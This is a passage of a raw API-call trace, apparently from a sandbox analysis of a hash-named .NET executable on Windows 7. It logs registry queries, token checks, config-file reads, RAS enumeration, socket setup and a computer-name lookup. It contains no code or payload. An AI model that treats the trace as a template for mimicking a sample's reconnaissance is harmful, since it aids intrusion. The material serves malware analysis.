DomainSid=0x0, pSid=0x278a670, cbSid=0x1af3ef50 | out: pSid=0x278a670*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1af3ef50) returned 1 [0178.616] CreateMutexW (lpMutexAttributes=0x278a828, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x1f4 [0178.616] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x1f4) returned 0x0 [0178.616] ReleaseMutex (hMutex=0x1f4) returned 1 [0178.616] CloseHandle (hObject=0x1f4) returned 1 [0178.635] setsockopt (s=0x4f4, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0178.636] closesocket (s=0x4f4) returned 0 [0178.640] setsockopt (s=0x4f8, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0178.640] closesocket (s=0x4f8) returned 0 [0178.644] setsockopt (s=0x704, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0178.644] closesocket (s=0x704) returned 0 [0178.650] DestroyCursor (hCursor=0x700df) returned 1 [0178.652] DeleteObject (ho=0x6c0a08a0) returned 1 [0178.654] RestoreDC (hdc=0x4101018c, nSavedDC=-1) returned 1 [0178.658] DeleteDC (hdc=0x4101018c) returned 1 [0178.659] DeleteObject (ho=0xd0a0b75) returned 1 [0178.659] FindAtomW (lpString="GDI+Atom_3772_1") returned 0x0 [0178.662] FindAtomW (lpString="GDI+Atom_3772_1") returned 0x0 [0178.662] FindAtomW (lpString="GDI+Atom_3772_1") returned 0x0 [0178.663] FindAtomW (lpString="GDI+Atom_3772_1") returned 0x0 [0178.669] RegCloseKey (hKey=0x488) returned 0x0 [0178.669] CloseHandle (hObject=0x484) returned 1 [0178.669] RegCloseKey (hKey=0x480) returned 0x0 [0178.670] setsockopt (s=0x444, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0178.670] closesocket (s=0x444) returned 0 [0178.671] CloseHandle (hObject=0x44c) returned 1 [0178.671] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0178.671] CloseHandle (hObject=0x190) returned 1 [0178.672] UnmapViewOfFile (lpBaseAddress=0x450000) returned 1 [0178.672] CloseHandle (hObject=0x47c) returned 1 [0178.673] setsockopt (s=0x510, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0178.673] closesocket (s=0x510) returned 0 [0178.673] CloseHandle (hObject=0x514) returned 1 [0178.674] DeleteSecurityContext (phContext=0x1af3ec80) returned 0x0 [0178.676] RegCloseKey (hKey=0x478) returned 0x0 [0178.676] setsockopt (s=0x508, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0178.676] closesocket (s=0x508) returned 0 [0178.677] CloseHandle (hObject=0x500) returned 1 [0178.677] RegCloseKey (hKey=0x474) returned 0x0 [0178.678] FreeCredentialsHandle (phCredential=0x1af3ecb0) returned 0x0 [0178.679] UnmapViewOfFile (lpBaseAddress=0x1b210000) returned 1 [0178.679] CloseHandle (hObject=0x45c) returned 1 [0178.680] CloseHandle (hObject=0x3d8) returned 1 [0178.680] CloseHandle (hObject=0x448) returned 1 [0178.681] CloseHandle (hObject=0x490) returned 1 [0178.682] CloseHandle (hObject=0x48c) returned 1 [0178.682] setsockopt (s=0x450, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0178.682] closesocket (s=0x450) returned 0 [0178.683] CloseHandle (hObject=0x454) returned 1 Thread: id = 4 os_tid = 0xee0 Thread: id = 5 os_tid = 0xef0 [0108.693] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.126] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config", nBufferLength=0x105, lpBuffer=0x1b62e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config", lpFilePart=0x0) returned 0x62 [0116.126] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config", nBufferLength=0x105, lpBuffer=0x1b62e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config", lpFilePart=0x0) returned 0x62 [0116.172] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", nBufferLength=0x105, lpBuffer=0x1b62e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", lpFilePart=0x0) returned 0x5f [0118.003] GetVersionExW (in: lpVersionInformation=0x1b62e760*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1b62e760*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0118.008] GetCurrentProcess () returned 0xffffffffffffffff [0118.011] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e7f8 | out: TokenHandle=0x1b62e7f8*=0x384) returned 1 [0118.058] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1b62e450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0118.268] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b62e8a0 | out: lpFileInformation=0x1b62e8a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0118.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b62e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0118.272] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b62e850 | out: lpFileInformation=0x1b62e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0118.272] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b62e230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0118.272] SetErrorMode (uMode=0x1) returned 0x0 [0118.273] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x344 [0118.273] GetFileType (hFile=0x344) returned 0x1 [0118.273] SetErrorMode (uMode=0x0) returned 0x1 [0118.273] GetFileType (hFile=0x344) returned 0x1 [0118.802] GetFileSize (in: hFile=0x344, lpFileSizeHigh=0x1b62e848 | out: lpFileSizeHigh=0x1b62e848*=0x0) returned 0x65b3 [0118.811] ReadFile (in: hFile=0x344, lpBuffer=0x271ea18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b62e768, lpOverlapped=0x0 | out: lpBuffer=0x271ea18*, lpNumberOfBytesRead=0x1b62e768*=0x1000, lpOverlapped=0x0) returned 1 [0119.210] ReadFile (in: hFile=0x344, lpBuffer=0x271ea18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b62e448, lpOverlapped=0x0 | out: lpBuffer=0x271ea18*, lpNumberOfBytesRead=0x1b62e448*=0x1000, lpOverlapped=0x0) returned 1 [0119.211] ReadFile (in: hFile=0x344, lpBuffer=0x271ea18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b62e298, lpOverlapped=0x0 | out: lpBuffer=0x271ea18*, lpNumberOfBytesRead=0x1b62e298*=0x1000, lpOverlapped=0x0) returned 1 [0119.212] ReadFile (in: hFile=0x344, lpBuffer=0x271ea18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b62e298, lpOverlapped=0x0 | out: lpBuffer=0x271ea18*, lpNumberOfBytesRead=0x1b62e298*=0x1000, lpOverlapped=0x0) returned 1 [0119.213] ReadFile (in: hFile=0x344, lpBuffer=0x271ea18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b62e298, lpOverlapped=0x0 | out: lpBuffer=0x271ea18*, lpNumberOfBytesRead=0x1b62e298*=0x1000, lpOverlapped=0x0) returned 1 [0119.263] ReadFile (in: hFile=0x344, lpBuffer=0x271ea18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b62e3d8, lpOverlapped=0x0 | out: lpBuffer=0x271ea18*, lpNumberOfBytesRead=0x1b62e3d8*=0x1000, lpOverlapped=0x0) returned 1 [0119.264] ReadFile (in: hFile=0x344, lpBuffer=0x271ea18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b62e1f8, lpOverlapped=0x0 | out: lpBuffer=0x271ea18*, lpNumberOfBytesRead=0x1b62e1f8*=0x5b3, lpOverlapped=0x0) returned 1 [0119.264] ReadFile (in: hFile=0x344, lpBuffer=0x271ea18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b62e3a8, lpOverlapped=0x0 | out: lpBuffer=0x271ea18*, lpNumberOfBytesRead=0x1b62e3a8*=0x0, lpOverlapped=0x0) returned 1 [0119.264] CloseHandle (hObject=0x344) returned 1 [0119.268] GetCurrentProcess () returned 0xffffffffffffffff [0119.269] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62ea58 | out: TokenHandle=0x1b62ea58*=0x344) returned 1 [0119.270] GetCurrentProcess () returned 0xffffffffffffffff [0119.270] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62ea58 | out: TokenHandle=0x1b62ea58*=0x388) returned 1 [0119.273] GetCurrentProcess () returned 0xffffffffffffffff [0119.273] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e7f8 | out: TokenHandle=0x1b62e7f8*=0x340) returned 1 [0119.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config" (normalized: "c:\\users\\keecfmwgj\\desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config"), fInfoLevelId=0x0, lpFileInformation=0x1b62e8a0 | out: lpFileInformation=0x1b62e8a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config", nBufferLength=0x105, lpBuffer=0x1b62e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config", lpFilePart=0x0) returned 0x62 [0119.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config" (normalized: "c:\\users\\keecfmwgj\\desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.config"), fInfoLevelId=0x0, lpFileInformation=0x1b62e850 | out: lpFileInformation=0x1b62e850*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.278] GetCurrentProcess () returned 0xffffffffffffffff [0119.278] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62ea58 | out: TokenHandle=0x1b62ea58*=0x338) returned 1 [0119.279] GetCurrentProcess () returned 0xffffffffffffffff [0119.279] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62ea58 | out: TokenHandle=0x1b62ea58*=0x348) returned 1 [0119.365] GetCurrentProcess () returned 0xffffffffffffffff [0119.365] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e6d8 | out: TokenHandle=0x1b62e6d8*=0x364) returned 1 [0119.816] GetCurrentProcess () returned 0xffffffffffffffff [0119.817] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e6d8 | out: TokenHandle=0x1b62e6d8*=0x354) returned 1 [0120.052] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d0 [0120.055] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3d4 [0120.261] GetCurrentProcess () returned 0xffffffffffffffff [0120.261] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e6a8 | out: TokenHandle=0x1b62e6a8*=0x3dc) returned 1 [0120.359] GetCurrentProcess () returned 0xffffffffffffffff [0120.359] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e6a8 | out: TokenHandle=0x1b62e6a8*=0x3e0) returned 1 [0120.503] GetCurrentProcess () returned 0xffffffffffffffff [0120.503] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e5e8 | out: TokenHandle=0x1b62e5e8*=0x3e4) returned 1 [0120.509] GetCurrentProcess () returned 0xffffffffffffffff [0120.509] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e5e8 | out: TokenHandle=0x1b62e5e8*=0x3e8) returned 1 [0120.565] GetCurrentProcess () returned 0xffffffffffffffff [0120.566] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62ec28 | out: TokenHandle=0x1b62ec28*=0x3ec) returned 1 [0120.705] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b62cce8 | out: phkResult=0x1b62cce8*=0x3f0) returned 0x0 [0120.706] RegQueryValueExW (in: hKey=0x3f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b62cc6c, lpData=0x0, lpcbData=0x1b62cc68*=0x0 | out: lpType=0x1b62cc6c*=0x1, lpData=0x0, lpcbData=0x1b62cc68*=0xe) returned 0x0 [0120.707] CoTaskMemAlloc (cb=0x12) returned 0x1afa91d0 [0120.707] RegQueryValueExW (in: hKey=0x3f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b62cc3c, lpData=0x1afa91d0, lpcbData=0x1b62cc38*=0xe | out: lpType=0x1b62cc3c*=0x1, lpData="Client", lpcbData=0x1b62cc38*=0xe) returned 0x0 [0120.707] CoTaskMemFree (pv=0x1afa91d0) [0120.707] RegCloseKey (hKey=0x3f0) returned 0x0 [0121.530] CoTaskMemAlloc (cb=0xcd0) returned 0x1afa6ba0 [0121.531] RasEnumConnectionsW (in: param_1=0x1afa6ba0, param_2=0x1b62ec7c, param_3=0x1b62ec78 | out: param_1=0x1afa6ba0, param_2=0x1b62ec7c, param_3=0x1b62ec78) returned 0x0 [0121.789] CoTaskMemFree (pv=0x1afa6ba0) [0121.833] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1b62ea88 | out: lpWSAData=0x1b62ea88) returned 0 [0121.849] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x43c [0121.994] setsockopt (s=0x43c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0121.994] closesocket (s=0x43c) returned 0 [0121.995] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x43c [0122.000] setsockopt (s=0x43c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0122.000] closesocket (s=0x43c) returned 0 [0122.014] GetCurrentProcess () returned 0xffffffffffffffff [0122.014] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e308 | out: TokenHandle=0x1b62e308*=0x43c) returned 1 [0122.081] GetCurrentProcess () returned 0xffffffffffffffff [0122.081] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b62e308 | out: TokenHandle=0x1b62e308*=0x440) returned 1 [0122.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", nBufferLength=0x105, lpBuffer=0x1b62e2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", lpFilePart=0x0) returned 0x5f [0122.375] GetCurrentProcessId () returned 0xebc [0122.496] CoTaskMemAlloc (cb=0x204) returned 0x1b02b580 [0122.496] GetComputerNameW (in: lpBuffer=0x1b02b580, nSize=0x275b088 | out: lpBuffer="Q9IATRKPRH", nSize=0x275b088) returned 1 [0122.497] CoTaskMemFree (pv=0x1b02b580) [0122.500] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b62e7e8 | out: phkResult=0x1b62e7e8*=0x444) returned 0x0 [0122.500] RegQueryValueExW (in: hKey=0x444, lpValueName="Library", lpReserved=0x0, lpType=0x1b62e76c, lpData=0x0, lpcbData=0x1b62e768*=0x0 | out: lpType=0x1b62e76c*=0x1, lpData=0x0, lpcbData=0x1b62e768*=0x1c) returned 0x0 [0122.500] CoTaskMemAlloc (cb=0x20) returned 0x1b012790 [0122.500] RegQueryValueExW (in: hKey=0x444, lpValueName="Library", lpReserved=0x0, lpType=0x1b62e73c, lpData=0x1b012790, lpcbData=0x1b62e738*=0x1c | out: lpType=0x1b62e73c*=0x1, lpData="netfxperf.dll", lpcbData=0x1b62e738*=0x1c) returned 0x0 [0122.500] CoTaskMemFree (pv=0x1b012790) [0122.500] RegQueryValueExW (in: hKey=0x444, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1b62e76c, lpData=0x0, lpcbData=0x1b62e768*=0x0 | out: lpType=0x1b62e76c*=0x4, lpData=0x0, lpcbData=0x1b62e768*=0x4) returned 0x0 [0122.501] RegQueryValueExW (in: hKey=0x444, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1b62e770, lpData=0x1b62e76c, lpcbData=0x1b62e768*=0x4 | out: lpType=0x1b62e770*=0x4, lpData=0x1b62e76c*=0x1, lpcbData=0x1b62e768*=0x4) returned 0x0 [0122.502] RegQueryValueExW (in: hKey=0x444, lpValueName="First Counter", lpReserved=0x0, lpType=0x1b62e76c, lpData=0x0, lpcbData=0x1b62e768*=0x0 | out: lpType=0x1b62e76c*=0x4, lpData=0x0, lpcbData=0x1b62e768*=0x4) returned 0x0 [0122.502] RegQueryValueExW (in: hKey=0x444, lpValueName="First Counter", lpReserved=0x0, lpType=0x1b62e770, lpData=0x1b62e76c, lpcbData=0x1b62e768*=0x4 | out: lpType=0x1b62e770*=0x4, lpData=0x1b62e76c*=0x137a, lpcbData=0x1b62e768*=0x4) returned 0x0 [0122.502] RegCloseKey (hKey=0x444) returned 0x0 [0122.546] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b62e7a8 | out: phkResult=0x1b62e7a8*=0x444) returned 0x0 [0122.546] RegQueryValueExW (in: hKey=0x444, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1b62e72c, lpData=0x0, lpcbData=0x1b62e728*=0x0 | out: lpType=0x1b62e72c*=0x4, lpData=0x0, lpcbData=0x1b62e728*=0x4) returned 0x0 [0122.546] RegQueryValueExW (in: hKey=0x444, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1b62e730, lpData=0x1b62e72c, lpcbData=0x1b62e728*=0x4 | out: lpType=0x1b62e730*=0x4, lpData=0x1b62e72c*=0x3, lpcbData=0x1b62e728*=0x4) returned 0x0 [0122.546] RegQueryValueExW (in: hKey=0x444, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1b62e72c, lpData=0x0, lpcbData=0x1b62e728*=0x0 | out: lpType=0x1b62e72c*=0x4, lpData=0x0, lpcbData=0x1b62e728*=0x4) returned 0x0 [0122.546] RegQueryValueExW (in: hKey=0x444, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1b62e730, lpData=0x1b62e72c, lpcbData=0x1b62e728*=0x4 | out: lpType=0x1b62e730*=0x4, lpData=0x1b62e72c*=0x20000, lpcbData=0x1b62e728*=0x4) returned 0x0 [0122.547] RegQueryValueExW (in: hKey=0x444, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1b62e72c, lpData=0x0, lpcbData=0x1b62e728*=0x0 | out: lpType=0x1b62e72c*=0x3, lpData=0x0, lpcbData=0x1b62e728*=0xaa) returned 0x0 [0122.547] RegQueryValueExW (in: hKey=0x444, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1b62e72c, lpData=0x275e378, lpcbData=0x1b62e728*=0xaa | out: lpType=0x1b62e72c*=0x3, lpData=0x275e378*, lpcbData=0x1b62e728*=0xaa) returned 0x0 [0122.554] ConvertStringSecurityDescriptorToSecurityDescriptorW (in: StringSecurityDescriptor="D:(A;OICI;FRFWGRGW;;;AU)(A;OICI;FRFWGRGW;;;S-1-5-33)", StringSDRevision=0x1, SecurityDescriptor=0x1b62e740, SecurityDescriptorSize=0x0 | out: SecurityDescriptor=0x1b62e740*=0x0*(Revision=0x1, Sbz1=0x0, Control=0x8004, Owner=0x0*(Revision=0x0, SubAuthorityCount=0x0, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0), SubAuthority=0x14), Group=0x30000200000014*(Revision=0x14, SubAuthorityCount=0x0, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x2, [3]=0x0, [4]=0x30, [5]=0x0), SubAuthority=0x2), Sacl=0x14030000000002*(AclRevision=0x2, Sbz1=0x0, AclSize=0x0, AceCount=0x300, Sbz2=0x14), Dacl=0x101c012019f*(AclRevision=0x9f, Sbz1=0x1, AclSize=0xc012, AceCount=0x101, Sbz2=0x0)), SecurityDescriptorSize=0x0) returned 1 [0122.592] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1b62e6e0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x448 [0122.594] MapViewOfFile (hFileMappingObject=0x448, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1b210000 [0122.596] VirtualQuery (in: lpAddress=0x1b210000, lpBuffer=0x1b62e6d8, dwLength=0x30 | out: lpBuffer=0x1b62e6d8*(BaseAddress=0x1b210000, AllocationBase=0x1b210000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0122.596] LocalFree (hMem=0x1afeaf60) returned 0x0 [0122.596] RegCloseKey (hKey=0x444) returned 0x0 [0122.601] GetVersionExW (in: lpVersionInformation=0x1b62d6b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1b62d6b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0122.602] GetVersionExW (in: lpVersionInformation=0x1b62d680*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1b62d680*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0122.605] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x275f0a0, cbSid=0x1b62e6c0 | out: pSid=0x275f0a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e6c0) returned 1 [0122.608] CreateMutexW (lpMutexAttributes=0x275f2a8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.612] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x1f4) returned 0x0 [0122.612] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x275f5c0, cbSid=0x1b62e620 | out: pSid=0x275f5c0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e620) returned 1 [0122.613] CreateMutexW (lpMutexAttributes=0x275f778, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0122.614] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x44c [0122.614] WaitForSingleObject (hHandle=0x44c, dwMilliseconds=0x1f4) returned 0x0 [0122.616] ReleaseMutex (hMutex=0x44c) returned 1 [0122.616] CloseHandle (hObject=0x44c) returned 1 [0122.617] GetCurrentProcessId () returned 0xebc [0122.618] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xebc) returned 0x44c [0122.620] GetProcessTimes (in: hProcess=0x44c, lpCreationTime=0x1b62e630, lpExitTime=0x1b62e628, lpKernelTime=0x1b62e620, lpUserTime=0x1b62e618 | out: lpCreationTime=0x1b62e630, lpExitTime=0x1b62e628, lpKernelTime=0x1b62e620, lpUserTime=0x1b62e618) returned 1 [0122.620] CloseHandle (hObject=0x44c) returned 1 [0122.621] ReleaseMutex (hMutex=0x444) returned 1 [0122.621] CloseHandle (hObject=0x444) returned 1 [0122.682] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x27618e0, cbSid=0x1b62e6c0 | out: pSid=0x27618e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b62e6c0) returned 1 [0122.683] CreateMutexW (lpMutexAttributes=0x2761a98, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x444 [0122.683] WaitForSingleObject 